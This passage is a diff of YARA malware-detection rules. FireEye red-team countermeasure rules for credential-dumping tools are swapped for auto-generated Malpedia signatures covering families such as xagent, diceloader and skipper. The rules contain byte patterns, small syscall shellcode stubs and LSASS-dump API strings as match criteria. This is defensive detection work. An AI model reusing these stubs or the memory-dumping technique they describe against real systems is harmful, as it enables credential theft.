-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win32_AndrewSpecial_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e89efa88e3fda86be48c0cc8f2ef7230"
-		logic_hash = "529a49fb21250069111d03a174901dc2e1623ee2a1f446aae1bdb1579a227dd3"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "edb23d28-51bf-5c0e-a6f1-7bed7d79f2ed"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gh0sttimes_auto.yar#L1-L163"
+		license_url = "N/A"
+		logic_hash = "cd1718bc24ef159d263847a726492a25887a81e094fffc2e2f0e4d7ba74c2151"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$dump = { 6A 00 68 FF FF 1F 00 FF 15 [4] 89 45 ?? 83 [2] 00 [1-50] 6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 10 68 [4] FF 15 [4] 89 45 [10-70] 6A 00 6A 00 6A 00 6A 02 8B [2-4] 5? 8B [2-4] 5? 8B [2-4] 5? E8 [4-20] FF 15 }
-		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
-		$shellcode_x86_inline = { C6 45 ?? B8 C6 45 ?? 3C C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 33 C6 45 ?? C9 C6 45 ?? 8D C6 45 ?? 54 C6 45 ?? 24 C6 45 ?? 04 C6 45 ?? 64 C6 45 ?? FF C6 45 ?? 15 C6 45 ?? C0 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 00 C6 45 ?? 83 C6 45 ?? C4 C6 45 ?? 04 C6 45 ?? C2 C6 45 ?? 14 C6 45 ?? 00 }
+		$sequence_0 = { 899df0fdffff 899decfdffff 889df4fdffff 889df5fdffff 889df6fdffff 889df7fdffff 889df8fdffff }
+		$sequence_1 = { 52 50 8985dcfdffff e8???????? }
+		$sequence_2 = { 50 ff15???????? 85c0 750f 5b }
+		$sequence_3 = { 33c5 8945fc 8b4508 53 33db 8d8de0fdffff 51 }
+		$sequence_4 = { 0f852c010000 b8???????? 8d5001 8d642400 }
+		$sequence_5 = { 8b0e 51 ff15???????? 43 }
+		$sequence_6 = { 6a09 8d4df0 c645f070 8945f5 e8???????? 8b4dfc 5f }
+		$sequence_7 = { 0f8638010000 83c708 8b57fc 8b85ecfdffff 52 }
+		$sequence_8 = { 488b4c2438 488d442430 488d150c710200 4889442428 }
+		$sequence_9 = { 488b4c2438 488d442434 4c8d4c2430 4889442428 488d442440 488d1520790200 }
+		$sequence_10 = { 488b8f40010000 ff15???????? 488b8f40010000 ff15???????? 48c78740010000ffffffff }
+		$sequence_11 = { 488b4c2430 488b4968 e8???????? 4c8b5c2430 }
+		$sequence_12 = { 488b4c2430 83490c08 a808 7409 488b442430 83480c04 }
+		$sequence_13 = { 488b4c2430 48c1e80c f7d0 334108 }
+		$sequence_14 = { 488b4c2438 488d442430 488d15da700200 4889442428 }
+		$sequence_15 = { 488b4c2430 488b4968 33c0 66890451 488b442430 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and $dump and any of ($shellcode*)
+		7 of them and filesize <548864
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_TITOSPECIAL_1 : FILE
+rule MALPEDIA_Win_Webbytea_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "b12490ba-41f6-5469-bcbb-0d2e0055c193"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/APT_HackTool_MSIL_TITOSPECIAL_1.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4bf96a7040a683bd34c618431e571e26"
-		logic_hash = "6def0c667d38c1bad9233628e509bdcaed322e75be4ff3823b0f788c391e090c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "b6cb62e5-1486-5f7a-9ab4-363544b06e24"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webbytea_auto.yar#L1-L118"
+		license_url = "N/A"
+		logic_hash = "a39ccb63aa5f0dcb105213662a0cd0fec06d0e89771a8eab5add75ac05faf27d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 5
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 }
-		$ind_s1 = "NtReadVirtualMemory" fullword wide
-		$ind_s2 = "WriteProcessMemory" fullword
-		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
-		$shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 }
+		$sequence_0 = { e9???????? c744242000000000 4533c9 4533c0 33d2 33c9 }
+		$sequence_1 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 }
+		$sequence_2 = { 8b00 ffc0 488b8c2488020000 8901 488d542430 488b4c2420 }
+		$sequence_3 = { 488b8c2488020000 8901 488d542430 488b4c2420 ff15???????? 85c0 }
+		$sequence_4 = { 488b842488020000 8b00 ffc0 488b8c2488020000 }
+		$sequence_5 = { eb08 8b0424 ffc0 890424 8b442438 390424 }
+		$sequence_6 = { 488b842488020000 8b00 ffc0 488b8c2488020000 8901 488d542430 488b4c2420 }
+		$sequence_7 = { c7042400000000 eb08 8b0424 ffc0 890424 8b442438 }
+		$sequence_8 = { 488b8c2488020000 8901 488d542430 488b4c2420 }
+		$sequence_9 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 c68424f500000065 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of ($ind*) and any of ($shellcode*)
+		7 of them and filesize <552960
 }
-rule FIREEYE_RT_Credtheft_MSIL_Titospecial_1 : FILE
+rule MALPEDIA_Win_Doublefinger_Auto : FILE
 {
 	meta:
-		description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code."
-		author = "FireEye"
-		id = "932bb013-03de-5cf7-89e9-b3232151d303"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_1.yar#L4-L27"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4bf96a7040a683bd34c618431e571e26"
-		logic_hash = "4ac9a5ede4aea5d73545b459eb635f87ce08ba521afa48b76d2cfa94f1379226"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "9629155b-05c7-5ae4-a87c-14586b484d59"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doublefinger_auto.yar#L1-L119"
+		license_url = "N/A"
+		logic_hash = "1175dbcf7260ce52fd0cde8ae4e3d3c47c27ca77b65a7696e2bad6350a2d51d5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 4
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$str1 = "Minidump" ascii wide
-		$str2 = "dumpType" ascii wide
-		$str3 = "WriteProcessMemory" ascii wide
-		$str4 = "bInheritHandle" ascii wide
-		$str5 = "GetProcessById" ascii wide
-		$str6 = "SafeHandle" ascii wide
-		$str7 = "BeginInvoke" ascii wide
-		$str8 = "EndInvoke" ascii wide
-		$str9 = "ConsoleApplication1" ascii wide
-		$str10 = "getOSInfo" ascii wide
-		$str11 = "OpenProcess" ascii wide
-		$str12 = "LoadLibrary" ascii wide
-		$str13 = "GetProcAddress" ascii wide
+		$sequence_0 = { 4533c0 8b942458010000 488b4c2450 e8???????? 48898424c8020000 4533c0 8b94245c010000 }
+		$sequence_1 = { 89442428 8b442424 ffc8 89442424 }
+		$sequence_2 = { eb4b 4c8d057b820000 baeb030000 ff15???????? eb37 488d542420 ff15???????? }
+		$sequence_3 = { 0000 006689 442432 b845000000 6689442434 b84d000000 6689442436 }
+		$sequence_4 = { 894c2408 4883ec18 488d442420 4889442408 }
+		$sequence_5 = { 48898424c8010000 c744245c00000000 486344245c 488b8c24d0000000 }
+		$sequence_6 = { 4889442450 4533c0 8b9424c0010000 488b4c2450 e8???????? 48898424e8020000 }
+		$sequence_7 = { 33d2 488d41ff 4883f8fd 773c b84d5a0000 663901 }
+		$sequence_8 = { 488b00 ba01000000 488b4c2438 ff90b8000000 }
+		$sequence_9 = { ff9424c0000000 4889842480010000 b875000000 6689842400010000 b872000000 6689842402010000 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of ($str*)
+		7 of them and filesize <115712
 }
-rule FIREEYE_RT_Hacktool_Win64_Andrewspecial_1 : FILE
+rule MALPEDIA_Win_Xagent_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "20ce4902-4eb3-5ecf-aa8c-0515965dde57"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/HackTool_Win64_AndrewSpecial_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4456e52f6f8543c3ba76cb25ea3e9bd2"
-		logic_hash = "96f06c46dfec795fcfd08c188853d0a3f781003ae118833719a175eb59049c0d"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "bde2508f-cfa2-522c-bf18-0bedb23d3501"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xagent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.xagent_auto.yar#L1-L231"
+		license_url = "N/A"
+		logic_hash = "1ef231aa11dc012f9839829c886b5e479b3c99a501478ca77ee155ba663fd5ac"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 5
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$dump = { 33 D2 B9 FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 }
-		$shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 }
-		$shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 }
+		$sequence_0 = { c1ea02 6bd20d b801000000 2bc2 }
+		$sequence_1 = { ff15???????? 8bd8 e8???????? 03d8 }
+		$sequence_2 = { 5b 8be5 5d c20400 8d4de4 e8???????? b8???????? }
+		$sequence_3 = { 8b4604 85c0 7407 8b4d08 8b11 }
+		$sequence_4 = { 2bc7 8b5204 8b0482 8b0488 8b4e10 }
+		$sequence_5 = { 85c9 7423 8b7e08 ff460c 03ff }
+		$sequence_6 = { 33d2 eb02 8b11 8b4808 8bc1 57 }
+		$sequence_7 = { 3b7e0c 7707 c7460c00000000 49 }
+		$sequence_8 = { 894e10 7507 c7460c00000000 5f }
+		$sequence_9 = { 55 8bec 33c0 83ec0c 39412c }
+		$sequence_10 = { 384b02 0f92c3 488d4c2430 e8???????? 90 }
+		$sequence_11 = { e8???????? 90 0fb705???????? 6689442420 }
+		$sequence_12 = { e8???????? 488b4328 4c8bcf 4c8bc6 }
+		$sequence_13 = { 84c0 740c 488b07 488b0b }
+		$sequence_14 = { 8bd8 e8???????? 8d0c18 e8???????? }
+		$sequence_15 = { 48896c2410 4889742418 57 4883ec30 4883792800 }
+		$sequence_16 = { e8???????? 498bce 4e8d0437 482bcf }
+		$sequence_17 = { 740c 488b07 4c8b13 488903 }
+		$sequence_18 = { b803b57ea5 f7e6 c1ea06 6bd263 }
+		$sequence_19 = { ff15???????? baf4010000 488bcb ff15???????? 85c0 }
+		$sequence_20 = { c1ea07 69d295000000 2bca 8bd1 }
+		$sequence_21 = { 75f8 482bc3 4d8bc6 498bd7 }
+		$sequence_22 = { 75f8 482bc3 4c8bc6 488bd7 }
+		$sequence_23 = { 75f8 482bc3 498bd7 488d0c18 }
+		$sequence_24 = { 75f8 482bc5 4533e4 488bbc2480000000 }
+		$sequence_25 = { 75f8 482bc3 498bd6 488d0c18 e8???????? 488bd7 4885ff }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and $dump and any of ($shellcode*)
+		7 of them and filesize <729088
 }
-rule FIREEYE_RT_APT_Loader_Win32_Dshell_1 : FILE
+rule MALPEDIA_Win_Diceloader_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "dad763bd-0e4a-542a-9920-ece11d23ce24"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_1.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "12c3566761495b8353f67298f15b882c"
-		logic_hash = "79643f9c252765647d80f6fe1ee7bb698fbc6a6c3a0ff1fd819a09bff031907c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "29011295-3bc8-5840-8c7d-e823af0d9069"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.diceloader_auto.yar#L1-L125"
+		license_url = "N/A"
+		logic_hash = "3c776f38a1a79f5ecd47a0499d8c206a83999319aa99b844edf38b2b9ae751b8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
-		$sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 }
-		$ss1 = "\x00CreateThread\x00"
-		$ss2 = "base64.d" fullword
-		$ss3 = "core.sys.windows" fullword
+		$sequence_0 = { 7419 e8???????? 8bf0 83f8fe 0f840a010000 83f8ff }
+		$sequence_1 = { 75cf 488325????????00 488d0d3a220000 448905???????? c705????????01000000 ff15???????? 488325????????00 }
+		$sequence_2 = { 75e5 448d4301 41b9983a0000 488d1daa2a0000 8bcf 488bd3 ff15???????? }
+		$sequence_3 = { 8b0491 4903c5 498907 33c9 eb2a }
+		$sequence_4 = { 498b7318 498be3 5f c3 4053 4883ec20 33db }
+		$sequence_5 = { 7453 33d2 458d460e 488d4c2420 e8???????? 0fb7ce }
+		$sequence_6 = { 8bf0 83f8fe 0f840a010000 83f8ff 0f8406010000 4533ff 3bf3 }
+		$sequence_7 = { 4c8d4820 ba05000000 44894024 448bc1 c740e808000000 8d4afe e8???????? }
+		$sequence_8 = { e8???????? 498bd5 488d0dea1f0000 e8???????? }
+		$sequence_9 = { 8d4860 e8???????? 488bcd 488bf8 895808 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		7 of them and filesize <41984
 }
-rule FIREEYE_RT_APT_Loader_Win32_Dshell_3 : FILE
+rule MALPEDIA_Win_Skipper_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "6b6fccef-ac93-5f1b-b9b6-c2d3ee4d8da7"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_3.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "12c3566761495b8353f67298f15b882c"
-		logic_hash = "ec2a8b0abc6cb6d1861199b892fbe84782b42babb08e3ea203d10ab17ff7a20a"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "4df8b68e-8938-5eb7-bba0-86905918e37c"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skipper_auto.yar#L1-L431"
+		license_url = "N/A"
+		logic_hash = "dd8f2a613ae1336f9183e3a024858c9c0abef8aafde3712e59fe4ab047db7609"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
-		$ss1 = "\x00CreateThread\x00"
-		$ss2 = "base64.d" fullword
-		$ss3 = "core.sys.windows" fullword
+		$sequence_0 = { 6a00 6a00 6a03 68???????? 68???????? 6a50 }
+		$sequence_1 = { 59 5d c3 55 8bec 33c0 50 }
+		$sequence_2 = { e8???????? 6804010000 e8???????? 6804010000 8bf8 }
+		$sequence_3 = { ff15???????? 6a00 6a00 6a00 6a00 68???????? 68???????? }
+		$sequence_4 = { e8???????? 6a04 e8???????? 8bf8 57 6a04 68???????? }
+		$sequence_5 = { 0fb6c3 03c8 81e1ff000080 7908 49 81c900ffffff 41 }
+		$sequence_6 = { 8b4d08 0fb68405fcfeffff 320439 47 8847ff 4e 0f8568ffffff }
+		$sequence_7 = { 7c0e 0fba25????????01 0f824a0e0000 57 8bf9 83fa04 7231 }
+		$sequence_8 = { e8???????? 83c404 6a00 6a64 52 50 }
+		$sequence_9 = { 8a85effeffff 888415f0feffff e9???????? c785dcfeffff00000000 }
+		$sequence_10 = { 898ddcfeffff 8b95dcfeffff 3b5514 0f8dcf000000 8b45f8 }
+		$sequence_11 = { 0fb6d2 8a8415f0feffff 8885eefeffff 8b4d10 038ddcfeffff 0fbe11 }
+		$sequence_12 = { c1e81f 03d0 418bc1 8d1492 }
+		$sequence_13 = { 0fb602 418800 44880a 410fb610 4103d1 }
+		$sequence_14 = { 81e2ff000080 7908 4a 81ca00ffffff 42 0fb6d2 8a8415f0feffff }
+		$sequence_15 = { 51 6a0b 68???????? 8b15???????? 52 68???????? e8???????? }
+		$sequence_16 = { 0fb645f8 8a8c15f0feffff 888c05f0feffff 0fb655fc 8a85effeffff }
+		$sequence_17 = { 33c9 4963e9 498bf8 488d1424 448bd1 8bc1 0f1f840000000000 }
+		$sequence_18 = { 4181c800ffffff 41ffc0 410fb6c0 488d1424 41ffc1 4803d0 48ffc3 }
+		$sequence_19 = { 81c900ffffff ffc1 4863c1 0fb61404 4403d2 4181e2ff000080 }
+		$sequence_20 = { 0fb6c2 49ffc3 0fb61404 4232541fff }
+		$sequence_21 = { 48896c2410 4889742418 48897c2420 4156 4881ec10010000 488b05???????? 4833c4 }
+		$sequence_22 = { 8b85e0feffff 83c001 8985e0feffff 81bde0feffff00010000 }
+		$sequence_23 = { 4232541fff 418853ff 48ffcb 0f8575ffffff }
+		$sequence_24 = { 81ec24010000 a1???????? 33c5 8945f4 c745f800000000 }
+		$sequence_25 = { 3d02010000 7513 8b4d08 e8???????? 68e8030000 ff15???????? }
+		$sequence_26 = { 7528 48833d????????00 741e 488d0de59b0000 e8???????? 85c0 740e }
+		$sequence_27 = { 895704 66a1???????? 66894708 8a0d???????? 884f0a e8???????? 0fb6d0 }
+		$sequence_28 = { 85d2 740c c785d4feffff3a040000 eb0a c785d4feffffffff1f00 }
+		$sequence_29 = { 68???????? 68???????? 8d4d20 0f434d20 68bb010000 51 50 }
+		$sequence_30 = { ffb5b0faffff e9???????? 8d8580faffff 50 6a00 ffb590faffff }
+		$sequence_31 = { 33c0 e9???????? 8975e4 33c0 39b8b8a62300 0f8491000000 }
+		$sequence_32 = { 488bc3 488d15cfa30000 48c1f805 83e11f 488b04c2 486bc958 }
+		$sequence_33 = { 48ffc8 90 80780100 488d4001 75f6 }
+		$sequence_34 = { ff15???????? 41b900800000 41b804010000 488bd3 488bcf ff15???????? }
+		$sequence_35 = { b81a000000 eb23 488d0da39a0000 48890c03 4883c130 }
+		$sequence_36 = { 8b0c85606d4100 c1e206 8a441124 3245fe 247f 30441124 8b37 }
+		$sequence_37 = { 8b7508 8d34f570a02300 391e 7404 }
+		$sequence_38 = { e8???????? 488db328010000 488d7b28 bd06000000 488d051dad0000 483947f0 }
+		$sequence_39 = { e8???????? 59 8945e4 8b7508 c7465cd8812300 33ff 47 }
+		$sequence_40 = { 8bff 55 8bec 8b4508 ff34c570a02300 }
+		$sequence_41 = { 8a80b4a62300 08443b1d 0fb64601 47 3bf8 }
+		$sequence_42 = { 488d1d24a50000 8bef 488b33 4885f6 }
+		$sequence_43 = { a3???????? a1???????? c705????????66162300 8935???????? a3???????? ff15???????? }
+		$sequence_44 = { 488d05a59a0000 740f 3908 740e 4883c010 4883780800 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		7 of them and filesize <262144
 }
-rule FIREEYE_RT_APT_Loader_Win32_Dshell_2 : FILE
+rule MALPEDIA_Win_Keymarble_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "ae34d547-d979-5ce2-bcf8-a5b4e4567de3"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_2.yar#L4-L21"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "590d98bb74879b52b97d8a158af912af"
-		logic_hash = "958ff45add46c0a43e839e8007c1d9296ee89ddd8c045b8ec6b031b225207a6c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "25735efc-9b7e-5c4e-843b-1618e0690062"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keymarble"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.keymarble_auto.yar#L1-L113"
+		license_url = "N/A"
+		logic_hash = "6744b9f4fc70c631928ab5473ea2bd7eecc2671462bf651b9238352600b5d250"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 2
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
-		$ss1 = "\x00CreateThread\x00"
-		$ss2 = "base64.d" fullword
-		$ss3 = "core.sys.windows" fullword
-		$ss4 = "C:\\Users\\config.ini" fullword
-		$ss5 = "Invalid config file" fullword
+		$sequence_0 = { ff15???????? 50 e8???????? 83c404 56 6a40 }
+		$sequence_1 = { ff15???????? 50 e8???????? 83c404 56 6a40 ff15???????? }
+		$sequence_2 = { e8???????? 83c404 56 6a40 ff15???????? }
+		$sequence_3 = { 83c404 e8???????? 8d3470 81e6ffffff7f }
+		$sequence_4 = { 50 ff15???????? 68???????? 6a40 }
+		$sequence_5 = { 83c408 85c0 7407 bb7a452301 }
+		$sequence_6 = { 50 e8???????? 83c404 56 6a40 }
+		$sequence_7 = { ff15???????? 50 ff15???????? 68???????? 6a40 }
+		$sequence_8 = { 83c404 56 6a40 ff15???????? }
+		$sequence_9 = { 6a00 6a03 6800000040 57 ffd6 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		7 of them and filesize <1146880
 }
-rule FIREEYE_RT_APT_Backdoor_Win_Dshell_2 : FILE
